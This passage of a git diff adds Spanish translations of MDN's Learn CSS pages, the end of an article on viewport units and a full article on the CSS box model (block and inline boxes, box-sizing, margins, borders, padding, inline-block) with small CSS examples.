+<p><strong>Nota</strong>: Obtén más información sobre las <a href="/es/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">técnicas adaptativas para las imágenes</a>.</p>
+</div>
+
+<h2 id="Unidades_de_ventana_gráfica">Unidades de ventana gráfica</h2>
+
+<p>La ventana gráfica es el área visible de tu página en el navegador que utilizas para ver un sitio, y también tiene un tamaño. En CSS hay unidades que asociadas con el tamaño de la ventana gráfica: las unidades <code>vw</code> para el ancho y <code>vh</code> para la altura. Con estas unidades puedes establecer tamaños relativos a la ventana gráfica del usuario.</p>
+
+<p><code>1vh</code> es igual al 1% de la altura de visualización, y <code>1vw</code> es igual al 1% de la anchura. Puedes usar estas unidades para dimensionar cajas, pero también texto. En el ejemplo siguiente hay un cuadro que tiene un tamaño de 20vh y 20vw. La caja contiene una letra <code>A</code>, a la que se le ha dado un valor para {{cssxref ("font-size")}} de 10vh.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/sizing/vw-vh.html", '100%', 600)}}</p>
+
+<p><strong>Si cambias los valores <code>vh</code> y <code>vw</code>, cambia el tamaño de la caja o de la letra; cambiar el tamaño de la ventana gráfica también cambia esos tamaños porque están dimensionados en relación con el de la ventana gráfica. Para ver el cambio del ejemplo cuando cambias el tamaño de la ventana gráfica, debes cargar el ejemplo en una ventana nueva del navegador, que pueda cambiar de tamaño (ya que tu ventana gráfica es el <code>&lt;iframe&gt;</code> incrustado que contiene el ejemplo que se muestra arriba). <a href="https://mdn.github.io/css-examples/learn/sizing/vw-vh.html">Abre el ejemplo</a>, cambia el tamaño de la ventana del navegador y observa lo que ocurre con el tamaño de la caja y el texto.</strong></p>
+
+<p>Cambiar los tamaños según la ventana gráfica puede ser útil en tus diseños. Por ejemplo, si deseas mostrar una sección principal a pantalla completa antes del resto del contenido, haz que esa parte de tu página de 100vh empuje el resto del contenido por debajo de la ventana gráfica, de modo que solo aparezca cuando desplacen los contenidos del documento con la barra de desplazamiento.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Este artículo te ha dado un resumen de algunos problemas clave con los que puedes encontrarte al dimensionar cosas en la web. Cuando llegues al artículo <a href="/es/docs/Learn/CSS/CSS_layout">Compaginar con CSS</a>, el tamaño va a ser un aspecto muy importante para dominar los diferentes métodos de compaginación, por lo que, antes de continuar, vale la pena comprender los conceptos que hemos expuesto en este artículo.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks/Images_media_form_elements", "Learn/CSS/Building_blocks")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Cascada y herencia</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">Selectores CSS</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Selectores de tipo, de clase y de ID</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Selectores de atributo</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Las pseudoclases y los pseudoelementos</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Selectores de combinación</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">El modelo de cajas</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Fondos y bordes</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">El uso de diferentes direcciones de texto</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">El desbordamiento de los contenidos</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units">Los valores y las unidades</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Elementos de dimensionado en CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Imágenes, media y elementos de formulario</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Styling_tables">Aplicar estilo a las tablas</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">Depurar el CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing">Organizar el CSS</a></li>
+</ol>
diff --git a/files/es/learn/css/building_blocks/el_modelo_de_caja/index.html b/files/es/learn/css/building_blocks/el_modelo_de_caja/index.html
new file mode 100644
index 0000000000..dbc0d644f8
--- /dev/null
+++ b/files/es/learn/css/building_blocks/el_modelo_de_caja/index.html
@@ -0,0 +1,343 @@
+---
+title: El modelo de caja
+slug: Learn/CSS/Building_blocks/El_modelo_de_caja
+translation_of: Learn/CSS/Building_blocks/The_box_model
+---
+<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks")}}</div>
+
+<p>Todo en CSS tiene una caja alrededor, y comprender estas cajas es clave para poder crear diseños con CSS o para alinear elementos con otros elementos. En este artículo, echaremos un vistazo más de cerca al <em>modelo de cajas</em> en CSS con el que vas a poder crear diseños de compaginación más complejos con una comprensión de cómo funciona y la terminología relacionada.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, tener el <a href="/es/docs/Learn/Getting_started_with_the_web/Instalacion_de_software_basico">software básico</a> instalado, conocimientos básicos de cómo <a href="/es/docs/Learn/Getting_started_with_the_web/Manejando_los_archivos">trabajar con archivos</a>, conocimientos básicos de HTML (véase <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción al HTML</a>) y nociones de CSS (véase <a href="/es/docs/Learn/CSS/First_steps">Primeros pasos con CSS</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprender sobre el modelo de cajas en CSS, en qué consiste el modelo de cajas y cómo cambiar al modelo alternativo.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Cajas_en_bloque_y_en_línea">Cajas en bloque y en línea</h2>
+
+<p>En CSS, en general, hay dos tipos de cajas: <strong>cajas en bloque</strong> y <strong>cajas en línea</strong>. Estas características se refieren al modo como se comporta la caja en términos de flujo de página y en relación con otras cajas de la página:</p>
+
+<p>Si una caja se define como un bloque, se comportará de las maneras siguientes:</p>
+
+<ul>
+ <li>La caja fuerza un salto de línea al llegar al final de la línea.</li>
+ <li>La caja se extenderá en la dirección de la línea para llenar todo el espacio disponible que haya en su contenedor. En la mayoría de los casos, esto significa que la caja será tan ancha como su contenedor, y llenará el 100% del espacio disponible.</li>
+ <li>Se respetan las propiedades {{cssxref ("width")}} y {{cssxref ("height")}}.</li>
+ <li>El relleno, el margen y el borde mantienen a los otros elementos alejados de la caja.</li>
+</ul>
+
+<p>A menos que decidamos cambiar el tipo de visualización a en línea, elementos como los encabezados (por ejemplo, <code>&lt;h1&gt;</code>) y todos los elementos <code>&lt;p&gt;</code> usan por defecto <code>block</code> como tipo de visualización externa.</p>
+
+<p>Si una caja tiene una visualización externa de tipo <code>inline</code>, entonces:</p>
+
+<ul>
+ <li>La caja no fuerza ningún salto de línea al llegar al final de la línea.</li>
+ <li>Las propiedades {{cssxref ("width")}} y {{cssxref ("height")}} no se aplican.</li>
+ <li>Se aplican relleno, margen y bordes verticales, pero no mantienen alejadas otras cajas en línea.</li>
+ <li>Se aplican relleno, margen y bordes horizontales, y mantienen alejadas otras cajas en línea.</li>
+</ul>
+
+<p>El elemento <code>&lt;a&gt;</code>, que se utiliza para los enlaces, y los elementos <code>&lt;span&gt;</code>, <code>&lt;em&gt;</code> y <code>&lt;strong&gt;</code> son ejemplos de elementos que se muestran en línea por defecto.</p>
+
+<p>El tipo de caja que se aplica a un elemento está definido por los valores de propiedad {{cssxref ("display")}}, como <code>block</code> y <code>inline</code>, y se relaciona con el valor <strong>externo</strong> (<em>outer</em>) de visualización (<code>display</code>).</p>
+
+<h2 id="Aparte_tipos_de_visualización_interna_y_externa">Aparte: tipos de visualización interna y externa</h2>
+
+<p>En este punto, será mejor que también expliquemos los tipos de visualización <strong>interna</strong> y <strong>externa</strong>. Como se mencionó anteriormente, las cajas en CSS tienen un tipo de visualización <em>externa</em>, que define si se trata de una caja en bloque o en línea.</p>
+
+<p>Sin embargo, las cajas también tienen un tipo de visualización <em>interna</em>, que determina cómo se disponen los elementos dentro de esa caja. De forma predeterminada, los elementos dentro de una caja se presentan en <strong><a href="/es/docs/Learn/CSS/CSS_layout/Flujo_normal">flujo normal</a></strong>, lo que significa que se comportan como otros elementos de tipo en bloque o en línea (como se explicó anteriormente).</p>
+
+<p>Sin embargo, podemos cambiar el tipo de visualización interna utilizando valores de <code>display</code>, como <code>flex</code>. Si en un elemento establecemos <code>display: flex;</code>, el tipo de visualización externa es de tipo bloque (<code>block</code>), pero el tipo de visualización interna cambia a flexible (<code>flex</code>). Cualquier elemento que sea hijo directo de esta caja pasará a comportarse como un elemento de tipo flex, de acuerdo con las reglas que se establecen en la especificación de <a href="/es/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a>, tema que veremos más adelante.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Para obtener más información acerca de los valores de visualización y el modo como funcionan las cajas en las disposiciones en bloque y en línea, echa un vistazo a la guía <a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow">Disposiciones en bloque y en línea</a> de MDN.</p>
+</div>
+
+<p>A medida que vayas aprendiendo más detalles sobre el diseño CSS, te irás encontrando con el valor <code>flex</code> y con otros valores internos que puedan presentar tus cajas, por ejemplo, <code><a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">grid</a></code>.</p>
+
+<p>Sin embargo, la disposición en bloque y en línea es la forma predeterminada cómo se comportan las cosas en la web; como ya dijimos, a veces esto se conoce como <em>flujo normal</em>, porque nuestras cajas se dispondrán en bloque o en línea, si no reciben ninguna otra instrucción.</p>
+
+<h2 id="Ejemplos_de_diferentes_tipos_de_visualización">Ejemplos de diferentes tipos de visualización</h2>
+
+<p>Sigamos adelante y veamos algunos ejemplos. A continuación tenemos tres elementos HTML diferentes, todos con visualización externa de tipo <code>block</code>. El primero es un párrafo, que tiene un borde añadido con CSS. El navegador representa esto como una caja en bloque, por lo que el párrafo comienza en una línea nueva y se expande por todo el ancho disponible.</p>
+
+<p>El segundo es una lista, que se presenta usando <code>display: flex</code>. Esto establece una disposición flexible para los elementos que están dentro del contenedor; sin embargo, la lista en sí misma es una caja que se comporta en bloque y, como el párrafo, se expande por todo el ancho del contenedor y fuerza un salto de línea al llegar al final de línea.</p>
+
+<p>Debajo hay un párrafo a nivel de bloque, dentro del cual hay dos elementos <code>&lt;span&gt;</code>. Estos elementos normalmente serían de tipo <code>inline</code>; sin embargo, uno de los elementos tiene una clase de bloque, y lo hemos establecido como <code>display: block</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/box-model/block.html", '100%', 1000)}} </p>
+
+<p>Podemos ver cómo se comportan los elementos <code>inline</code> en el ejemplo siguiente. Los elementos <code>&lt;span&gt;</code> del primer párrafo están en línea de manera predeterminada y, por lo tanto, no fuerzan ningún salto de línea.</p>
+
+<p>También hay un elemento <code>&lt;ul&gt;</code> que se establece como <code>display: inline-flex</code>, que crea una caja con un comportamiento de tipo en línea alrededor de algunos elementos de tipo <code>flex</code>.</p>
+
+<p>Finalmente, hay dos párrafos configurados con <code>display: inline</code>. El contenedor flexible en línea y los párrafos fluyen todos juntos en línea, en lugar de dividirse en líneas nuevas como lo harían si se mostraran como elementos de bloque.</p>
+
+<p><strong>En el ejemplo puedes cambiar <code>display: inline</code> por <code>display: block</code> o <code>display: inline-flex</code> y por <code>display: flex</code> para alternar entre estos modos de visualización.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/box-model/inline.html", '100%', 1000)}} </p>
+
+<p>En artículos posteriores encontrarás cosas como el diseño flexible. El aspecto clave a recordar aquí es que cambiar el valor de la propiedad <code>display</code> puede cambiar entre el modo de visualización exterior en bloque y en línea de una caja, que cambia la forma en que se presenta junto con otros elementos en la disposición en pantalla.</p>
+
+<p>En el resto de este artículo, nos concentraremos en el tipo de visualización externa.</p>
+
+<h2 id="¿Qué_es_el_modelo_de_cajas_CSS">¿Qué es el modelo de cajas CSS?</h2>
+
+<p>El modelo de cajas CSS completo se aplica a cajas que presentan comportamiento en bloque; las cajas con comportamiento en línea solo usan una parte del comportamiento definido en el modelo de cajas. El modelo define cómo funcionan juntas las diferentes partes de una caja (margen, borde, relleno y contenido) para crear una caja que puedas ver en tu página. Para complicarlo un poco más, hay un modelo de cajas estándar y un modelo de cajas alternativo.</p>
+
+<h3 id="Partes_de_una_caja">Partes de una caja</h3>
+
+<p>Al hacer una caja de tipo bloque en CSS tenemos los elementos siguientes:</p>
+
+<ul>
+ <li>El <strong>contenido de la caja</strong> (o <em>content box</em>): El área donde se muestra el contenido, cuyo tamaño puede cambiarse utilizando propiedades como {{cssxref ("width")}} y {{cssxref ("height")}}.</li>
+ <li>El <strong>relleno de la caja</strong> (o <em>padding box</em>): El relleno es espacio en blanco alrededor del contenido; es posible controlar su tamaño usando la propiedad {{cssxref ("padding")}} y otras propiedades relacionadas.</li>
+ <li>El <strong>borde de la caja</strong> (o <em>border box</em>): El borde de la caja envuelve el contenido y el de relleno. Es posible controlar su tamaño y estilo utilizando la propiedad {{cssxref ("border")}} y otras propiedades relacionadas.</li>
+ <li>El <strong>margen de la caja</strong> (o <em>margin box</em>): El margen es la capa más externa. Envuelve el contenido, el relleno y el borde como espacio en blanco entre la caja y otros elementos. Es posible controlar su tamaño usando la propiedad {{cssxref ("margin")}} y otras propiedades relacionadas.</li>
+</ul>
+
+<p>El diagrama siguiente muestra estas capas:</p>
+
+<p><img alt="Diagrama del modelo de cajas" src="https://mdn.mozillademos.org/files/16558/box-model.png" style="height: 300px; width: 544px;"></p>
+
+<h3 id="El_modelo_de_cajas_CSS_estándar">El modelo de cajas CSS estándar</h3>
+
+<p>En el modelo de cajas estándar, cuando estableces los atributos <code>width</code> y <code>height</code> para una caja, defines el ancho y el alto del <em>contenido de la caja</em>. Cualquier área de relleno y borde se añade a ese ancho y alto para obtener el tamaño total que ocupa la caja. Esto se muestra en la imagen que encontrarás a continuación.</p>
+
+<p>Si suponemos que la caja tiene el CSS siguiente, que establece los valores para las propiedades <code>width</code>, <code>height</code>, <code>margin</code>, <code>border</code>, y <code>padding</code>:</p>
+
+<pre class="brush: css notranslate">.box {
+  width: 350px;
+  height: 150px;
+  margin: 10px;
+  padding: 25px;
+  border: 5px solid black;
+}
+</pre>
+
+<p>El espacio que ocupa nuestra caja usando el modelo de cajas estándar será en realidad de 410 px (350 + 25 + 25 + 5 + 5); y su altura, de 210 px (150 + 25 + 25 + 5 + 5), porque el área de relleno y el borde se añaden al ancho que se utiliza para el contenido de la caja.</p>
+
+<p><img alt="Mostrar el tamaño de la caja cuando se usa el modelo de cajas estándar." src="https://mdn.mozillademos.org/files/16559/standard-box-model.png" style="height: 300px; width: 500px;"></p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: El margen no se cuenta para el tamaño real de la caja; por supuesto, afecta al espacio total que la caja ocupa en la página, pero solo al espacio de fuera de la caja. El área de la caja se termina en el borde, no se extiende hasta el margen.</p>
+</div>
+
+<h3 id="El_modelo_de_cajas_CSS_alternativo">El modelo de cajas CSS alternativo</h3>
+
+<p>Podrías pensar que es más bien incómodo tener que sumar el borde y el área de relleno para obtener el tamaño real de la caja, ¡y tienes razón! Por este motivo, CSS introdujo un modelo de caja alternativo algún tiempo después del modelo de cajas estándar. Con este modelo, cualquier ancho es el ancho de la caja visible en la página, por lo tanto, el ancho del área de contenido es ese ancho menos el ancho para el relleno y el borde. El mismo CSS que hemos usado antes daría entonces el resultado siguiente (ancho = 350 px, altura = 150 px).</p>
+
+<p><img alt="Mostrar el tamaño de la caja cuando se usa el modelo de cajas alternativo." src="https://mdn.mozillademos.org/files/16557/alternate-box-model.png" style="height: 240px; width: 440px;"></p>
+
+<p>Por defecto, los navegadores usan el modelo de cajas estándar. Si deseas activar el modelo de cajas alternativo para un elemento, hazlo configurando <code>box-sizing: border-box</code>. Con ello, le dices al navegador que tome como el borde de la caja el área definida por cualquier tamaño que establezcas.</p>
+
+<pre class="brush: css notranslate"><code>.box {
+  box-sizing: border-box;
+} </code></pre>
+
+<p>Si quieres que todos tus elementos usen el modelo de cajas alternativo (opción común entre los desarrolladores) debes establecer la propiedad <code>box-sizing</code> en el elemento <code>&lt;html&gt;</code>. Luego debes configurar todos los demás elementos para que hereden ese valor, como se ve en el fragmento de código siguiente. Si deseas comprender qué hay detrás, consulta el <a href="https://css-tricks.com/inheriting-box-sizing-probably-slightly-better-best-practice/">artículo de <em>CSS-Tricks</em> sobre el tamaño de las cajas</a>.</p>
+
+<pre class="brush: css notranslate"><code class="language-css"><span class="selector token">html</span> <span class="punctuation token">{</span>
+  <span class="property token">box-sizing</span><span class="punctuation token">:</span> border-box<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+<span class="selector token">*, *<span class="pseudo-element token">::before</span>, *<span class="pseudo-element token">::after</span></span> <span class="punctuation token">{</span>
+  <span class="property token">box-sizing</span><span class="punctuation token">:</span> inherit<span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Un dato curioso es que Internet Explorer usaba por defecto el modelo de cajas alternativo, y no disponía de ningún mecanismo para cambiarlo.</p>
+</div>
+
+<h2 id="Jugar_con_los_modelos_de_cajas">Jugar con los modelos de cajas</h2>
+
+<p>En el ejemplo siguiente puedes ver dos cajas. Ambas tienen una clase <code>.box</code>, lo que les da los mismos atributos <code>width</code>, <code>height</code>, <code>margin</code>, <code>border</code> y <code>padding</code>. La única diferencia es que la segunda caja se ha configurado para utilizar el modelo de cajas alternativo.</p>
+
+<p><strong>¿Puedes cambiar el tamaño de la segunda caja (añadiendo CSS a la clase <code>.alternate</code>) para que su anchura y altura coincidan con las de la primera caja?</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/box-model/box-models.html", '100%', 1000)}} </p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Puedes encontrar la solución <a href="https://github.com/mdn/css-examples/blob/master/learn/solutions.md#the-box-model">aquí</a>.</p>
+</div>
+
+<h3 id="Utilizar_las_DevTools_del_navegador_para_ver_el_modelo_de_cajas">Utilizar las DevTools del navegador para ver el modelo de cajas</h3>
+
+<p>Las <a href="/es/docs/Learn/Common_questions/What_are_browser_developer_tools">herramientas del desarrollador de tu navegador</a> pueden facilitar la comprensión del modelo de cajas. Si inspeccionas un elemento con las DevTools de Firefox, puedes ver el tamaño del elemento más su margen, área de relleno y borde. Inspeccionar un elemento de esta manera es un modo excelente de descubrir si tu caja es en realidad del tamaño que crees que es.</p>
+
+<p><img alt="Inspeccionar el modelo de cajas de un elemento utilizando Firefox DevTools" src="https://mdn.mozillademos.org/files/16560/box-model-devtools.png" style="height: 683px; width: 1150px;"></p>
+
+<h2 id="Márgenes_relleno_y_bordes">Márgenes, relleno y bordes</h2>
+
+<p>Ya has visto las propiedades {{cssxref ("margin")}}, {{cssxref ("padding")}} y {{cssxref ("border")}} que usamos en el ejemplo anterior. Las propiedades que hemos usado en ese ejemplo son <strong>propiedades abreviadas</strong> y nos permiten establecer los cuatro lados de la caja a la vez. Estas propiedades abreviadas también tienen propiedades sin abreviar equivalentes, que permiten tener control sobre los diferentes lados de la caja de forma individual.</p>
+
+<p>Vamos a explorar estas propiedades más detalladamente.</p>
+
+<h3 id="Margen">Margen</h3>
+
+<p>El margen es un espacio invisible que hay alrededor de la caja. Aleja el resto de elementos de la caja. Los márgenes pueden tener valores positivos o negativos. Establecer un margen negativo para un lado de tu caja puede hacer que se superponga con otros elementos de la página. Tanto si utilizas el modelo de cajas estándar como el alternativo, el margen siempre se añade después de haber calculado el tamaño de la caja que se ve.</p>
+
+<p>Podemos controlar todos los márgenes de un elemento a la vez usando la propiedad {{cssxref ("margin")}}, o cada lado individualmente usando las propiedades equivalentes sin abreviar:</p>
+
+<ul>
+ <li>{{cssxref("margin-top")}}</li>
+ <li>{{cssxref("margin-right")}}</li>
+ <li>{{cssxref("margin-bottom")}}</li>
+ <li>{{cssxref("margin-left")}}</li>
+</ul>
+
+<p><strong>En el ejemplo siguiente, cambia los valores de margen para ver cómo se empuja la caja debido al espacio que el margen crea o se elimina (si es un margen negativo) entre este elemento y el elemento que lo contiene.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/box-model/margin.html", '100%', 1000)}} </p>
+
+<h4 id="Colapso_del_margen">Colapso del margen</h4>
+
+<p>Un punto clave a la hora de entender los márgenes es el concepto de colapso del margen. Si tienes dos elementos cuyos márgenes se tocan, esos márgenes se combinan para convertirse en un solo margen, cuyo tamaño es el del margen más grande.</p>
+
+<p>En el ejemplo siguiente hay dos párrafos. El párrafo superior tiene un atributo <code>margin-bottom</code> de 50 píxeles. El segundo párrafo tiene un atributo <code>margin-top</code> de 30 píxeles. Los márgenes colapsan, por lo que el margen real entre las cajas es de 50 píxeles, y no el total de ambos márgenes.</p>
+
+<p><strong>Pruébalo ajustando el atributo <code>margin-top</code> del segundo párrafo a 0. El margen visible entre los dos párrafos no cambiará, sino que conservará los 50 píxeles fijados en el atributo <code>bottom-margin</code> del primer párrafo.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/box-model/margin-collapse.html", '100%', 1000)}} </p>
+
+<p>Hay una serie de reglas que establecen cuándo los márgenes colapsan y cuándo no. Para obtener más información, consulta la página web sobre <a href="/es/docs/Web/CSS/CSS_Modelo_Caja/Mastering_margin_collapsing">entender el colapso de márgenes</a>. Por ahora solo debes recordar que el colapso de los márgenes es algo que puede suceder. Si creas un espacio con márgenes y no obtienes el espacio que esperas, probablemente es que se haya producido algún colapso de márgenes.</p>
+
+<h3 id="Bordes">Bordes</h3>
+
+<p>El borde se dibuja entre el margen y el área de relleno de una caja. Si utilizas el modelo de cajas estándar, el tamaño del borde se añade a los elementos <code>width</code> y <code>height</code> que establecen el alto y el ancho de la caja. Si utilizas el modelo de cajas alternativo, el tamaño del borde reduce el tamaño de la caja de contenido, porque ocupa una parte del alto y el ancho disponibles.</p>
+
+<p>Hay una gran cantidad de propiedades que sirven para aplicar estilo a los bordes: hay cuatro bordes y cada borde tiene un estilo, un ancho y un color que podemos modificar.</p>
+
+<p>Puedes establecer el ancho, el estilo o el color de los cuatro bordes a la vez utilizando la propiedad {{cssxref ("border")}}.</p>
+
+<p>Para establecer las propiedades de cada lado de forma individual, puedes utilizar:</p>
+
+<ul>
+ <li>{{cssxref("border-top")}}</li>
+ <li>{{cssxref("border-right")}}</li>
+ <li>{{cssxref("border-bottom")}}</li>
+ <li>{{cssxref("border-left")}}</li>
+</ul>
+
+<p>Para establecer el ancho, el estilo o el color de todos los lados, usa lo siguiente:</p>
+
+<ul>
+ <li>{{cssxref("border-width")}}</li>
+ <li>{{cssxref("border-style")}}</li>
+ <li>{{cssxref("border-color")}}</li>
+</ul>
+
+<p>Para establecer el ancho, el estilo o el color de un solo lado, puedes usar una de las propiedades no abreviadas:</p>
+
+<ul>
+ <li>{{cssxref("border-top-width")}}</li>
+ <li>{{cssxref("border-top-style")}}</li>
+ <li>{{cssxref("border-top-color")}}</li>
+ <li>{{cssxref("border-right-width")}}</li>
+ <li>{{cssxref("border-right-style")}}</li>
+ <li>{{cssxref("border-right-color")}}</li>
+ <li>{{cssxref("border-bottom-width")}}</li>
+ <li>{{cssxref("border-bottom-style")}}</li>
+ <li>{{cssxref("border-bottom-color")}}</li>
+ <li>{{cssxref("border-left-width")}}</li>
+ <li>{{cssxref("border-left-style")}}</li>
+ <li>{{cssxref("border-left-color")}}</li>
+</ul>
+
+<p><strong>En el ejemplo siguiente, hemos utilizado varios ejemplos de la lista anterior para crear bordes. Juega con las diferentes propiedades para comprobar que entiendes cómo funcionan. Las páginas de MDN sobre las propiedades de los bordes te proporcionan información sobre los diferentes estilos entre los que puedes elegir para los bordes.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/box-model/border.html", '100%', 1000)}} </p>
+
+<h3 id="Relleno">Relleno</h3>
+
+<p>El relleno se encuentra entre el borde y el área de contenido. A diferencia de los márgenes, el relleno no puede tomar valores negativos, por lo que el valor debe ser 0 o positivo. Cualquier fondo aplicado a tu elemento se mostrará detrás del área de relleno y, generalmente, se usa para mantener el contenido alejado del borde.</p>
+
+<p>Podemos controlar el área de relleno para todos los lados de un mismo elemento usando la propiedad {{cssxref ("padding")}}, o para cada lado uno de los lados usando las propiedades equivalentes:</p>
+
+<ul>
+ <li>{{cssxref("padding-top")}}</li>
+ <li>{{cssxref("padding-right")}}</li>
+ <li>{{cssxref("padding-bottom")}}</li>
+ <li>{{cssxref("padding-left")}}</li>
+</ul>
+
+<p><strong>Si cambias los valores para el elleno en la clase <code>.box</code> del ejemplo siguiente, puedes ver que cambia dónde comienza el texto en relación con la caja.</strong></p>
+
+<p><strong>También puedes cambiar el relleno en la clase <code>.container</code>, que abrirá el espacio entre el contenedor y la caja. El área de relleno se puede cambiar para cualquier elemento y abrirá espacio entre su borde y lo que esté dentro del elemento.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/box-model/padding.html", '100%', 800)}} </p>
+
+<h2 id="El_modelo_de_cajas_y_las_cajas_en_línea">El modelo de cajas y las cajas en línea</h2>
+
+<p>Todo lo anterior se aplica por completo a las cajas en bloque. Algunas de las propiedades también pueden aplicarse a las cajas en línea, como las que crea un elemento <code>&lt;span&gt;</code>.</p>
+
+<p>En el ejemplo siguiente hay un elemento <code>&lt;span&gt;</code> dentro de un párrafo al que hemos aplicado las propiedades <code>width</code>, <code>height</code>, <code>margin</code>, <code>border</code>, y <code>padding</code> Puedes ver que la anchura y la altura se ignoran. Se respetan el margen, el relleno y el borde, pero no cambian la relación de otro contenido con respecto a nuestra caja en línea, por lo que el relleno y el borde se superponen a otras palabras en el párrafo.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/box-model/inline-box-model.html", '100%', 800)}} </p>
+
+<h2 id="El_uso_de_display_inline-block">El uso de display: inline-block</h2>
+
+<p>Hay un valor especial de <code>display</code> que proporciona un punto medio entre <code>inline</code> y <code>block</code>. Esto es útil para situaciones en las que no deseas que un elemento fuerce un salto de línea, pero sí deseas que se respeten las propiedades <code>width</code> y <code>height</code> para evitar superposiciones como la que se ve arriba.</p>
+
+<p>Un elemento con <code>display: inline-block</code> conforma un subconjunto de los elementos en bloque que ya conocemos:</p>
+
+<ul>
+ <li>Se respetan las propiedades de ancho y alto.</li>
+ <li>El relleno, el margen y el borde mantienen los otros elementos alejados de la caja.</li>
+</ul>
+
+<p>Sin embargo, no se fuerza un salto de línea, y solo se hace más grande que su contenido si añades las propiedades <code>width</code> y <code>height</code> explícitamente.</p>
+
+<p><strong>En el ejemplo siguiente hemos añadido <code>display: inline-block</code> a nuestro elemento <code>&lt;span&gt;</code>. Cámbialo por <code>display: block</code> o elimina la línea para ver la diferencia entre ambos modelos de visualización.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/box-model/inline-block.html", '100%', 800)}} </p>
+
+<p>Esto puede ser útil cuando deseas dar a un enlace un área de impacto más grande añadiendo <code>padding</code>. <code>&lt;a&gt;</code> es un elemento en línea como <code>&lt;span&gt;</code>; puedes usar <code>display: inline-block</code> para configurar el área de relleno para facilitar al usuario hacer clic en el enlace.</p>
+
+<p>Esto se ve con bastante frecuencia en las barras de navegación. La navegación siguiente se muestra en una fila usando <code>flexbox</code> y hemos añadido una área de relleno al elemento <code>&lt;a&gt;</code> porque queremos poder cambiar su color de fondo (<code>background-color</code>) cuando se pasa el ratón por encima de <code>&lt;a&gt;</code>. El área de relleno parece superponerse al borde del elemento <code>&lt;ul&gt;</code>. Esto se debe a que <code>&lt;a&gt;</code> es un elemento en línea.</p>
+
+<p><strong>Añade <code>display: inline-block</code> a la regla con el selector <code>.links-list a</code> y verás cómo se soluciona este problema, al hacer que otros elementos respeten el área de relleno.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/box-model/inline-block-nav.html", '100%', 600)}} </p>
+
+<h2 id="Pon_a_prueba_tus_habilidades">Pon a prueba tus habilidades</h2>
+
+<p>Hemos cubierto mucho terreno en este artículo. ¿Recuerdas la información más relevante? Encontrarás más pruebas para verificar que has retenido esa información en <a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Box_Model_Tasks">Test your skills: The Box Model</a>.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Eso es lo que hay que entender sobre el modelo de cajas. Es posible que en el futuro desees volver a este artículo si alguna vez te lías con los tamaños de las cajas en la disposición de tu página web.</p>
+
+<p>En el artículo siguiente veremos cómo se pueden usar los <a href="/es/docs/Learn/CSS/Building_blocks/Fondos_y_bordes">fondos y bordes</a> para hacer que tus simples cajas presenten un aspecto más interesante.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ol>
